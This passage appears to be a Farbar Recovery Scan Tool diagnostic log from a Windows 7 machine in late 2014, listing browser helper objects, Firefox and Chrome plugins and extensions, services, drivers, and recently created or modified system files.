HKU\S-1-5-21-3876090227-2952970025-1856670965-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0 -> {8D85CC59-8DFC-49C1-AC41-1B9714CF5D69} URL = http://www.google.com/search?q={searchTerms}&rls=com.microsoft:{language}&ie={inputEncoding}&oe={outputEncoding}&startIndex={startIndex?}&startPage={startPage}BHO: Windows Live ID Sign-in Helper -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll (Microsoft Corp.)BHO-x32: RealNetworks Download and Record Plugin for Internet Explorer -> {3049C3E9-B461-4BC5-8870-4C09146192CA} -> C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\IE\rndlbrowserrecordplugin.dll (RealDownloader)BHO-x32: Lync Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files (x86)\Microsoft Lync\OCHelper.dll (Microsoft Corporation)BHO-x32: Search Helper -> {6EBF7485-159F-4bff-A14F-B9E3AAC4465B} -> C:\Program Files (x86)\Microsoft\Search Enhancement Pack\Search Helper\SEPsearchhelperie.dll (Microsoft Corporation)BHO-x32: Java Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre7\bin\ssv.dll (Oracle Corporation)BHO-x32: Windows Live ID Sign-in Helper -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll (Microsoft Corp.)BHO-x32: Java Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre7\bin\jp2ssv.dll (Oracle Corporation)Toolbar: HKLM-x32 - No Name - {CCC7A320-B3CA-4199-B1A6-9F516DD69829} - No FileToolbar: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001 -> No Name - {21FA44EF-376D-4D53-9B0F-8A89D3229068} - No FileToolbar: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001 -> No Name - {CCC7A320-B3CA-4199-B1A6-9F516DD69829} - No FileToolbar: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001 -> No Name - {E7DF6BFF-55A5-4EB7-A673-4ED3E9456D39} - No FileToolbar: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0 -> No Name - {21FA44EF-376D-4D53-9B0F-8A89D3229068} - No FileToolbar: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0 -> No Name - {CCC7A320-B3CA-4199-B1A6-9F516DD69829} - No FileToolbar: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0 -> No Name - {E7DF6BFF-55A5-4EB7-A673-4ED3E9456D39} - No FileDPF: HKLM-x32 {D27CDB6E-AE6D-11CF-96B8-444553540000} http://fpdownload2.macromedia.com/get/shockwave/cabs/flash/swflash.cabDPF: HKLM-x32 {E06E2E99-0AA1-11D4-ABA6-0060082AA75C} https://akamaicdn.webex.com/client/WBXclient-T28L10NSP12_CP1-16851/webex/ieatgpc1.cabDPF: HKLM-x32 {E2883E8F-472F-4FB0-9522-AC9BF37916A7} http://platformdl.adobe.com/NOS/getPlusPlus/1.6/gp.cabTcpip\Parameters: [DhcpNameServer] 192.168.10.1FireFox:========FF ProfilePath: C:\Users\Hagar\AppData\Roaming\Mozilla\Firefox\Profiles\s1ilaic7.defaultFF DefaultSearchEngine: YahooFF SelectedSearchEngine: YahooFF Homepage: https://duckduckgo.com/FF Keyword.URL: hxxp://search.yahoo.com/search?fr=greentree_ff1&ei=utf-8&ilc=12&type=937811&p=FF NetworkProxy: "no_proxies_on", "*.local"FF NetworkProxy: "type", 0FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_11_9_900_170.dll ()FF Plugin: @divx.com/DivX VOD Helper,version=1.0.0 -> C:\Program Files\DivX\DivX OVS Helper\npovshelper.dll (DivX, LLC.)FF Plugin: @microsoft.com/GENUINE -> disabled No FileFF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files\Microsoft Silverlight\5.1.30514.0\npctrl.dll ( Microsoft Corporation)FF Plugin: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Common Files\Adobe\OOBE\PDAPP\CCM\Utilities\npAdobeAAMDetect64.dll No FileFF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_11_9_900_170.dll ()FF Plugin-x32: @Apple.com/iTunes,version=1.0 -> C:\Program Files (x86)\iTunes\Mozilla Plugins\npitunes.dll ()FF Plugin-x32: @divx.com/DivX VOD Helper,version=1.0.0 -> C:\Program Files (x86)\DivX\DivX OVS Helper\npovshelper.dll (DivX, LLC.)FF Plugin-x32: @divx.com/DivX Web Player Plug-In,version=1.0.0 -> C:\Program Files (x86)\DivX\DivX Web Player\npdivx32.dll (DivX, LLC)FF Plugin-x32: @Google.com/GoogleEarthPlugin -> C:\Program Files (x86)\Google\Google Earth\plugin\npgeplugin.dll (Google)FF Plugin-x32: @java.com/DTPlugin,version=10.71.2 -> C:\Program Files (x86)\Java\jre7\bin\dtplugin\npDeployJava1.dll (Oracle Corporation)FF Plugin-x32: @java.com/JavaPlugin,version=10.71.2 -> C:\Program Files (x86)\Java\jre7\bin\plugin2\npjp2.dll (Oracle Corporation)FF Plugin-x32: @microsoft.com/GENUINE -> disabled No FileFF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files (x86)\Microsoft Silverlight\5.1.30514.0\npctrl.dll ( Microsoft Corporation)FF Plugin-x32: @microsoft.com/WLPG,version=15.4.3502.0922 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll (Microsoft Corporation)FF Plugin-x32: @microsoft.com/WLPG,version=15.4.3508.1109 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll (Microsoft Corporation)FF Plugin-x32: @microsoft.com/WLPG,version=15.4.3555.0308 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll (Microsoft Corporation)FF Plugin-x32: @real.com/nppl3260;version=16.0.3.51 -> c:\program files (x86)\real\realplayer\Netscape6\nppl3260.dll (RealNetworks, Inc.)FF Plugin-x32: @real.com/nprndlchromebrowserrecordext;version=1.3.3 -> C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlchromebrowserrecordext.dll (RealNetworks, Inc.)FF Plugin-x32: @real.com/nprndlhtml5videoshim;version=1.3.3 -> C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlhtml5videoshim.dll (RealNetworks, Inc.)FF Plugin-x32: @real.com/nprndlpepperflashvideoshim;version=1.3.3 -> C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlpepperflashvideoshim.dll (RealNetworks, Inc.)FF Plugin-x32: @real.com/nprpplugin;version=16.0.3.51 -> c:\program files (x86)\real\realplayer\Netscape6\nprpplugin.dll (RealPlayer)FF Plugin-x32: @realnetworks.com/npdlplugin;version=1 -> C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\npdlplugin.dll (RealDownloader)FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll (Adobe Systems Inc.)FF Plugin HKU\S-1-5-21-3876090227-2952970025-1856670965-1001: @citrixonline.com/appdetectorplugin -> C:\Users\Hagar\AppData\Local\Citrix\Plugins\104\npappdetector.dll (Citrix Online)FF Plugin HKU\S-1-5-21-3876090227-2952970025-1856670965-1001: @tools.google.com/Google Update;version=3 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)FF Plugin HKU\S-1-5-21-3876090227-2952970025-1856670965-1001: @tools.google.com/Google Update;version=9 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)FF Plugin HKU\S-1-5-21-3876090227-2952970025-1856670965-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0: @citrixonline.com/appdetectorplugin -> C:\Users\Hagar\AppData\Local\Citrix\Plugins\104\npappdetector.dll (Citrix Online)FF Plugin HKU\S-1-5-21-3876090227-2952970025-1856670965-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0: @tools.google.com/Google Update;version=3 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)FF Plugin HKU\S-1-5-21-3876090227-2952970025-1856670965-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0: @tools.google.com/Google Update;version=9 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\np-mswmp.dll (Microsoft Corporation)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npMeetingJoinPluginOC.dll ()FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\nppdf32.dll (Adobe Systems Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\nppl3260.dll (RealNetworks, Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npqtplugin.dll (Apple Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npqtplugin2.dll (Apple Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npqtplugin3.dll (Apple Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npqtplugin4.dll (Apple Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npqtplugin5.dll (Apple Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\nprpplugin.dll (RealPlayer)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npwachk.dll (Nullsoft, Inc.)FF Extension: Java Console - C:\Program Files (x86)\Mozilla Firefox\extensions\{CAFEEFAC-0016-0000-0033-ABCDEFFEDCBA} [2014-02-11]FF Extension: Java Console - C:\Program Files (x86)\Mozilla Firefox\extensions\{CAFEEFAC-0016-0000-0035-ABCDEFFEDCBA} [2014-02-11]FF Extension: Java Console - C:\Program Files (x86)\Mozilla Firefox\extensions\{CAFEEFAC-0016-0000-0037-ABCDEFFEDCBA} [2014-02-11]FF HKLM-x32\...\Firefox\Extensions: [{ABDE892B-13A8-4d1b-88E6-365A6E755758}] - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Firefox\ExtFF Extension: RealDownloader - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Firefox\Ext [2013-09-04]FF HKLM-x32\...\Firefox\Extensions: [{DF153AFF-6948-45d7-AC98-4FC4AF8A08E2}] - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Firefox\ExtChrome:=======CHR HomePage: Default -> hxxp://www.google.com/CHR StartupUrls: Default -> "about:blank"CHR DefaultSearchKeyword: Default -> duckduckgo.comCHR DefaultSearchURL: Default -> https://duckduckgo.com/?q={searchTerms}CHR DefaultSuggestURL: Default -> https://ac.duckduckgo.com/ac/?q={searchTerms}&type=listCHR Profile: C:\Users\Hagar\AppData\Local\Google\Chrome\User Data\DefaultCHR Extension: (Google Voice Search Hotword (Beta)) - C:\Users\Hagar\AppData\Local\Google\Chrome\User Data\Default\Extensions\bepbmhgboaologfdajaanbcjmnhjmhfn [2014-05-21]CHR Extension: (RealDownloader) - C:\Users\Hagar\AppData\Local\Google\Chrome\User Data\Default\Extensions\idhngdhcfkoamngbedgpaokgjbnpdiji [2013-01-12]CHR Extension: (Google Wallet) - C:\Users\Hagar\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2013-08-28]CHR HKLM-x32\...\Chrome\Extension: [idhngdhcfkoamngbedgpaokgjbnpdiji] - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Chrome\Ext\realdownloader.crx [2013-08-14]CHR StartMenuInternet: Google Chrome - C:\Users\Hagar\AppData\Local\Google\Chrome\Application\chrome.exe==================== Services (Whitelisted) =================(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)R2 AdobeActiveFileMonitor10.0; C:\Program Files (x86)\Adobe\Elements 10 Organizer\PhotoshopElementsFileAgent.exe [169624 2011-09-01] (Adobe Systems Incorporated)R2 AffinegyService; C:\Program Files (x86)\Belkin\Router Setup and Monitor\BelkinService.exe [569752 2010-07-28] (Affinegy, Inc.)R2 AMD FUEL Service; C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Service.exe [344064 2013-08-30] (Advanced Micro Devices, Inc.) [File not signed]R2 HP LaserJet Service; C:\Program Files (x86)\HP\HPLaserJetService\HPLaserJetService.exe [136704 2009-06-24] (HP) [File not signed]R2 MBAMScheduler; C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamscheduler.exe [1871160 2014-11-21] (Malwarebytes Corporation)R2 MBAMService; C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamservice.exe [969016 2014-11-21] (Malwarebytes Corporation)R2 MsMpSvc; c:\Program Files\Microsoft Security Client\MsMpEng.exe [23784 2014-08-22] (Microsoft Corporation)R2 msoidsvc; C:\Program Files\Common Files\Microsoft Shared\Microsoft Online Services\MSOIDSVC.EXE [2078112 2011-09-28] (Microsoft Corp.)R3 NisSrv; c:\Program Files\Microsoft Security Client\NisSrv.exe [368624 2014-08-22] (Microsoft Corporation)R2 PnkBstrA; C:\Windows\SysWOW64\PnkBstrA.exe [75064 2013-09-24] ()R2 RealNetworks Downloader Resolver Service; C:\Program Files (x86)\RealNetworks\RealDownloader\rndlresolversvc.exe [39056 2013-08-14] ()==================== Drivers (Whitelisted) ====================(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)S3 ASPI; C:\Windows\SysWOW64\DRIVERS\ASPI32.sys [84832 2002-07-17] (Adaptec) [File not signed]S3 libusb0; C:\Windows\SysWOW64\drivers\libusb0.sys [21504 2010-06-24] (http://libusb-win32.sourceforge.net)R2 mbamchameleon; C:\Windows\system32\drivers\mbamchameleon.sys [93400 2014-11-21] (Malwarebytes Corporation)R3 MBAMProtector; C:\Windows\system32\drivers\mbam.sys [25816 2014-11-21] (Malwarebytes Corporation)R3 MBAMSwissArmy; C:\Windows\system32\drivers\MBAMSwissArmy.sys [129752 2014-12-31] (Malwarebytes Corporation)R3 MBAMWebAccessControl; C:\Windows\system32\drivers\mwac.sys [63704 2014-11-21] (Malwarebytes Corporation)R0 MpFilter; C:\Windows\System32\DRIVERS\MpFilter.sys [269008 2014-07-17] (Microsoft Corporation)R3 mvusbews; C:\Windows\System32\Drivers\mvusbews.sys [20480 2012-12-24] (Marvell Semiconductor, Inc.)R2 NisDrv; C:\Windows\System32\DRIVERS\NisDrvWFP.sys [125584 2014-07-17] (Microsoft Corporation)U5 VWiFiFlt; C:\Windows\System32\Drivers\VWiFiFlt.sys [59904 2009-07-13] (Microsoft Corporation)S3 gdrv; \??\C:\Windows\gdrv.sys [X]==================== NetSvcs (Whitelisted) ===================(If an item is included in the fixlist, it will be removed from the registry. Any associated file could be listed separately to be moved.)==================== One Month Created Files and Folders ========(If an entry is included in the fixlist, the file\folder will be moved.)2014-12-29 09:48 - 2014-12-31 07:08 - 00000000 ____D () C:\FRST2014-12-27 15:10 - 2014-12-27 15:10 - 00000000 ___HD () C:\OneDriveTemp2014-12-18 12:30 - 2014-12-13 00:09 - 00144384 _____ (Microsoft Corporation) C:\Windows\system32\ieUnatt.exe2014-12-18 12:30 - 2014-12-12 22:33 - 00115712 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieUnatt.exe2014-12-13 15:52 - 2014-12-27 22:51 - 00003340 _____ () C:\Windows\System32\Tasks\RealPlayerRealUpgradeScheduledTaskS-1-5-21-3876090227-2952970025-1856670965-10012014-12-13 15:52 - 2014-12-27 22:51 - 00003206 _____ () C:\Windows\System32\Tasks\RealPlayerRealUpgradeLogonTaskS-1-5-21-3876090227-2952970025-1856670965-10012014-12-12 06:30 - 2014-12-12 06:30 - 00129752 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\688B5820.sys2014-12-11 06:12 - 2014-12-11 14:42 - 00129752 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\25387B9A.sys2014-12-10 08:25 - 2014-12-28 17:47 - 00003362 _____ () C:\Windows\System32\Tasks\RealDownloaderRealUpgradeScheduledTaskS-1-5-21-3876090227-2952970025-1856670965-10012014-12-10 08:25 - 2014-12-28 17:47 - 00003228 _____ () C:\Windows\System32\Tasks\RealDownloaderRealUpgradeLogonTaskS-1-5-21-3876090227-2952970025-1856670965-10012014-12-10 07:52 - 2014-10-17 21:05 - 04121600 _____ (Microsoft Corporation) C:\Windows\system32\mf.dll2014-12-10 07:52 - 2014-10-17 20:33 - 03209728 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mf.dll2014-12-10 07:50 - 2014-11-26 20:43 - 00389296 _____ (Microsoft Corporation) C:\Windows\system32\iedkcs32.dll2014-12-10 07:50 - 2014-11-26 20:10 - 00342200 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iedkcs32.dll2014-12-10 07:50 - 2014-11-21 22:13 - 25059840 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.dll2014-12-10 07:50 - 2014-11-21 22:06 - 02724864 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.tlb2014-12-10 07:50 - 2014-11-21 22:06 - 00004096 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollectorres.dll2014-12-10 07:50 - 2014-11-21 21:50 - 00580096 _____ (Microsoft Corporation) C:\Windows\system32\vbscript.dll2014-12-10 07:50 - 2014-11-21 21:50 - 00066560 _____ (Microsoft Corporation) C:\Windows\system32\iesetup.dll2014-12-10 07:50 - 2014-11-21 21:49 - 02885120 _____ (Microsoft Corporation) C:\Windows\system32\iertutil.dll2014-12-10 07:50 - 2014-11-21 21:49 - 00048640 _____ (Microsoft Corporation) C:\Windows\system32\ieetwproxystub.dll2014-12-10 07:50 - 2014-11-21 21:48 - 00088064 _____ (Microsoft Corporation) C:\Windows\system32\MshtmlDac.dll2014-12-10 07:50 - 2014-11-21 21:41 - 00054784 _____ (Microsoft Corporation) C:\Windows\system32\jsproxy.dll2014-12-10 07:50 - 2014-11-21 21:40 - 00034304 _____ (Microsoft Corporation) C:\Windows\system32\iernonce.dll2014-12-10 07:50 - 2014-11-21 21:37 - 00633856 _____ (Microsoft Corporation) C:\Windows\system32\ieui.dll2014-12-10 07:50 - 2014-11-21 21:35 - 00114688 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollector.exe2014-12-10 07:50 - 2014-11-21 21:34 - 06039552 _____ (Microsoft Corporation) C:\Windows\system32\jscript9.dll2014-12-10 07:50 - 2014-11-21 21:34 - 00814080 _____ (Microsoft Corporation) C:\Windows\system32\jscript9diag.dll2014-12-10 07:50 - 2014-11-21 21:26 - 00968704 _____ (Microsoft Corporation) C:\Windows\system32\MsSpellCheckingFacility.exe2014-12-10 07:50 - 2014-11-21 21:22 - 19749376 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.dll2014-12-10 07:50 - 2014-11-21 21:22 - 00490496 _____ (Microsoft Corporation) C:\Windows\system32\dxtmsft.dll2014-12-10 07:50 - 2014-11-21 21:20 - 02724864 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.tlb2014-12-10 07:50 - 2014-11-21 21:14 - 00077824 _____ (Microsoft Corporation) C:\Windows\system32\JavaScriptCollectionAgent.dll2014-12-10 07:50 - 2014-11-21 21:09 - 00199680 _____ (Microsoft Corporation) C:\Windows\system32\msrating.dll2014-12-10 07:50 - 2014-11-21 21:08 - 00092160 _____ (Microsoft Corporation) C:\Windows\system32\mshtmled.dll2014-12-10 07:50 - 2014-11-21 21:07 - 00501248 _____ (Microsoft Corporation) C:\Windows\SysWOW64\vbscript.dll2014-12-10 07:50 - 2014-11-21 21:07 - 00062464 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iesetup.dll2014-12-10 07:50 - 2014-11-21 21:06 - 00047616 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieetwproxystub.dll2014-12-10 07:50 - 2014-11-21 21:05 - 00316928 _____ (Microsoft Corporation) C:\Windows\system32\dxtrans.dll2014-12-10 07:50 - 2014-11-21 21:05 - 00064000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MshtmlDac.dll2014-12-10 07:50 - 2014-11-21 21:01 - 02277888 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iertutil.dll2014-12-10 07:50 - 2014-11-21 20:59 - 00047104 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jsproxy.dll2014-12-10 07:50 - 2014-11-21 20:58 - 00030720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iernonce.dll2014-12-10 07:50 - 2014-11-21 20:56 - 00478208 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieui.dll2014-12-10 07:50 - 2014-11-21 20:54 - 00620032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9diag.dll2014-12-10 07:50 - 2014-11-21 20:49 - 00800768 _____ (Microsoft Corporation) C:\Windows\system32\msfeeds.dll2014-12-10 07:50 - 2014-11-21 20:49 - 00718848 _____ (Microsoft Corporation) C:\Windows\system32\ie4uinit.exe2014-12-10 07:50 - 2014-11-21 20:47 - 01359360 _____ (Microsoft Corporation) C:\Windows\system32\mshtmlmedia.dll2014-12-10 07:50 - 2014-11-21 20:46 - 02125312 _____ (Microsoft Corporation) C:\Windows\system32\inetcpl.cpl2014-12-10 07:50 - 2014-11-21 20:45 - 00418304 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtmsft.dll2014-12-10 07:50 - 2014-11-21 20:43 - 14412800 _____ (Microsoft Corporation) C:\Windows\system32\ieframe.dll2014-12-10 07:50 - 2014-11-21 20:40 - 00060416 _____ (Microsoft Corporation) C:\Windows\SysWOW64\JavaScriptCollectionAgent.dll2014-12-10 07:50 - 2014-11-21 20:36 - 00168960 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msrating.dll2014-12-10 07:50 - 2014-11-21 20:35 - 00076288 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmled.dll2014-12-10 07:50 - 2014-11-21 20:33 - 00285696 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtrans.dll2014-12-10 07:50 - 2014-11-21 20:29 - 04299264 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9.dll2014-12-10 07:50 - 2014-11-21 20:28 - 02358272 _____ (Microsoft Corporation) C:\Windows\system32\wininet.dll2014-12-10 07:50 - 2014-11-21 20:23 - 00688640 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msfeeds.dll2014-12-10 07:50 - 2014-11-21 20:22 - 02052096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcpl.cpl2014-12-10 07:50 - 2014-11-21 20:21 - 01155072 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmlmedia.dll2014-12-10 07:50 - 2014-11-21 20:15 - 01548288 _____ (Microsoft Corporation) C:\Windows\system32\urlmon.dll2014-12-10 07:50 - 2014-11-21 20:13 - 12836864 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieframe.dll2014-12-10 07:50 - 2014-11-21 20:03 - 00800768 _____ (Microsoft Corporation) C:\Windows\system32\ieapfltr.dll2014-12-10 07:50 - 2014-11-21 20:00 - 01888256 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wininet.dll2014-12-10 07:50 - 2014-11-21 19:56 - 01307136 _____ (Microsoft Corporation) C:\Windows\SysWOW64\urlmon.dll2014-12-10 07:50 - 2014-11-21 19:54 - 00710144 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieapfltr.dll2014-12-10 07:49 - 2014-11-10 22:09 - 01424384 _____ (Microsoft Corporation) C:\Windows\system32\WindowsCodecs.dll2014-12-10 07:49 - 2014-11-10 21:44 - 01230336 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WindowsCodecs.dll2014-12-10 07:49 - 2014-11-10 20:46 - 00119296 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\tdx.sys2014-12-10 07:49 - 2014-10-29 21:03 - 00165888 _____ (Microsoft Corporation) C:\Windows\system32\charmap.exe2014-12-10 07:49 - 2014-10-29 20:45 - 00155136 _____ (Microsoft Corporation) C:\Windows\SysWOW64\charmap.exe2014-12-10 07:48 - 2014-10-02 21:12 - 02020352 _____ (Microsoft Corporation) C:\Windows\system32\WsmSvc.dll2014-12-10 07:48 - 2014-10-02 21:12 - 00346624 _____ (Microsoft Corporation) C:\Windows\system32\WSManMigrationPlugin.dll2014-12-10 07:48 - 2014-10-02 21:12 - 00310272 _____ (Microsoft Corporation) C:\Windows\system32\WsmWmiPl.dll2014-12-10 07:48 - 2014-10-02 21:12 - 00181248 _____ (Microsoft Corporation) C:\Windows\system32\WsmAuto.dll2014-12-10 07:48 - 2014-10-02 21:11 - 00266240 _____ (Microsoft Corporation) C:\Windows\system32\WSManHTTPConfig.exe2014-12-10 07:48 - 2014-10-02 20:45 - 01177088 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WsmSvc.dll2014-12-10 07:48 - 2014-10-02 20:45 - 00248832 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WSManMigrationPlugin.dll2014-12-10 07:48 - 2014-10-02 20:45 - 00214016 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WsmWmiPl.dll2014-12-10 07:48 - 2014-10-02 20:45 - 00145920 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WsmAuto.dll2014-12-10 07:48 - 2014-10-02 20:44 - 00198656 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WSManHTTPConfig.exe2014-12-10 07:47 - 2014-11-07 22:16 - 00002048 _____ (Microsoft Corporation) C:\Windows\system32\tzres.dll2014-12-10 07:47 - 2014-11-07 21:45 - 00002048 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tzres.dll2014-12-10 07:09 - 2014-12-10 07:09 - 00129752 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\535E59B9.sys2014-12-05 07:38 - 2014-12-06 14:22 - 00129752 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\27B368C4.sys==================== One Month Modified Files and Folders =======(If an entry is included in the fixlist, the file\folder will be moved.)2014-12-31 07:07 - 2014-08-13 05:17 - 00000000 ____D () C:\Users\Hagar\AppData\Local\Adobe2014-12-31 07:07 - 2010-08-11 10:07 - 00000000 ____D () C:\Copy2014-12-31 07:03 - 2009-07-13 23:45 - 00018576 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A02014-12-31 07:03 - 2009-07-13 23:45 - 00018576 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A02014-12-31 07:01 - 2010-08-11 15:29 - 00000908 _____ () C:\Windows\Tasks\GoogleUpdateTaskUserS-1-5-21-3876090227-2952970025-1856670965-1001UA.job2014-12-31 06:57 - 2014-05-21 07:39 - 00129752 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\MBAMSwissArmy.sys2014-12-31 06:56 - 2013-05-13 18:17 - 00000894 _____ () C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job2014-12-31 06:55 - 2013-10-11 16:19 - 00057331 _____ () C:\Windows\setupact.log2014-12-31 06:55 - 2009-07-14 00:08 - 00000006 ____H () C:\Windows\Tasks\SA.DAT2014-12-30 15:33 - 2010-08-02 17:17 - 01395707 _____ () C:\Windows\WindowsUpdate.log2014-12-30 15:18 - 2010-11-09 14:44 - 00000000 ____D () C:\Program Files (x86)\Steam2014-12-30 15:11 - 2014-06-10 12:56 - 00000562 _____ () C:\Windows\Tasks\G2MUpdateTask-S-1-5-21-3876090227-2952970025-1856670965-1001.job2014-12-30 10:50 - 2013-05-13 18:17 - 00000898 _____ () C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job2014-12-30 09:03 - 2009-07-14 00:13 - 00782510 _____ () C:\Windows\system32\PerfStringBackup.INI2014-12-29 19:01 - 2010-08-11 15:29 - 00000856 _____ () C:\Windows\Tasks\GoogleUpdateTaskUserS-1-5-21-3876090227-2952970025-1856670965-1001Core.job2014-12-29 09:37 - 2010-12-05 10:12 - 01107718 _____ () C:\Users\Hagar\seditor.launcher.log2014-12-29 09:36 - 2012-01-06 07:53 - 00000000 ___RD () C:\Users\Hagar\Dropbox2014-12-29 09:36 - 2012-01-06 07:50 - 00000000 ____D () C:\Users\Hagar\AppData\Roaming\Dropbox2014-12-29 09:35 - 2014-11-15 15:33 - 00000000 ___RD () C:\Users\Hagar\OneDrive2014-12-28 17:07 - 2010-08-09 18:21 - 00000000 ____D () C:\Users\Hagar2014-12-26 17:05 - 2013-05-14 